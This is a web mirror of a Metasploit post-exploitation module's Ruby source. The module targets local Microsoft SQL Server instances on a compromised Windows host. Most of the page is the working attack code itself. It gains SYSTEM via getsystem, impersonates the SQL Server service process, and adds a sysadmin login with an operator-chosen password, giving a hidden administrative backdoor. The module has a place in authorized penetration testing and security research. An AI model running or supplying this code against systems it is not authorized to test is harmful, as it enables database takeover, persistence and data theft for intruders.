CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/mssql_local_auth_bypass.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::Windows::MSSQL
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
15
'Description' => %q{
16
When this module is executed, it can be used to add a sysadmin to local
17
SQL Server instances. It first attempts to gain LocalSystem privileges
18
using the "getsystem" escalation methods. If those privileges are not
19
sufficient to add a sysadmin, then it will migrate to the SQL Server
20
service process associated with the target instance. The sysadmin
21
login is added to the local SQL Server using native SQL clients and
22
stored procedures. If no instance is specified then the first identified
23
instance will be used.
24
25
Why is this possible? By default in SQL Server 2k-2k8, LocalSystem
26
is assigned syadmin privileges. Microsoft changed the default in
27
SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.
28
However, this can be overcome by migrating to the SQL Server process.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],
32
'Platform' => [ 'win' ],
33
'SessionTypes' => [ 'meterpreter' ],
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_sys_config_rev2self
38
]
39
}
40
}
41
)
42
)
43
44
register_options(
45
[
46
OptString.new('DB_USERNAME', [true, 'New sysadmin login', nil]),
47
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', nil]),
48
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
49
OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false])
50
]
51
)
52
end
53
54
def run
55
# Set instance name (if specified)
56
instance = datastore['INSTANCE'].to_s
57
58
# Display target
59
print_status("#{session_display_info}: Running module against #{sysinfo['Computer']}")
60
61
# Identify available native SQL client
62
get_sql_client
63
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
64
65
# Get LocalSystem privileges
66
system_status = get_system
67
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
68
begin
69
service = check_for_sqlserver(instance)
70
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
71
72
print_status("#{session_display_info}: Identified service '#{service[:display]}', PID: #{service[:pid]}")
73
instance_name = service[:display].gsub('SQL Server (', '').gsub(')', '').strip
74
75
if datastore['REMOVE_LOGIN']
76
remove_login(service, instance_name)
77
else
78
add_login(service, instance_name)
79
end
80
ensure
81
# attempt to return to original priv context
82
session.sys.config.revert_to_self
83
end
84
end
85
86
def add_login(service, instance_name)
87
add_login_status = add_sql_login(datastore['DB_USERNAME'],
88
datastore['DB_PASSWORD'],
89
instance_name)
90
91
unless add_login_status
92
raise 'Retry'
93
end
94
rescue RuntimeError => e
95
if e.message == 'Retry'
96
retry if impersonate_sql_user(service)
97
else
98
raise $ERROR_INFO
99
end
100
end
101
102
def remove_login(service, instance_name)
103
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
104
105
unless remove_status
106
raise 'Retry'
107
end
108
rescue RuntimeError => e
109
if e.message == 'Retry'
110
retry if impersonate_sql_user(service)
111
else
112
raise $ERROR_INFO
113
end
114
end
115
116
def add_sql_login(dbuser, dbpass, instance)
117
print_status("#{session_display_info}: Attempting to add new login \"#{dbuser}\"...")
118
query = mssql_sa_escalation(username: dbuser, password: dbpass)
119
120
# Get Data
121
add_login_result = run_sql(query, instance)
122
123
case add_login_result
124
when '', /new login created/i
125
print_good("#{session_display_info}: Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
126
return true
127
when /already exists/i
128
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
129
when /password validation failed/i
130
fail_with(Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
131
else
132
print_error("#{session_display_info}: Unable to add login #{dbuser}")
133
print_error("#{session_display_info}: Database Error:\n #{add_login_result}")
134
return false
135
end
136
end
137
138
def remove_sql_login(dbuser, instance_name)
139
print_status("#{session_display_info}: Attempting to remove login \"#{dbuser}\"")
140
query = "sp_droplogin '#{dbuser}'"
141
142
remove_login_result = run_sql(query, instance_name)
143
144
# Display result
145
if remove_login_result.empty?
146
print_good("#{session_display_info}: Successfully removed login \"#{dbuser}\"")
147
return true
148
else
149
# Fail
150
print_error("#{session_display_info}: Unabled to remove login #{dbuser}")
151
print_error("#{session_display_info}: Database Error:\n\n #{remove_login_result}")
152
return false
153
end
154
end
155
end
156
157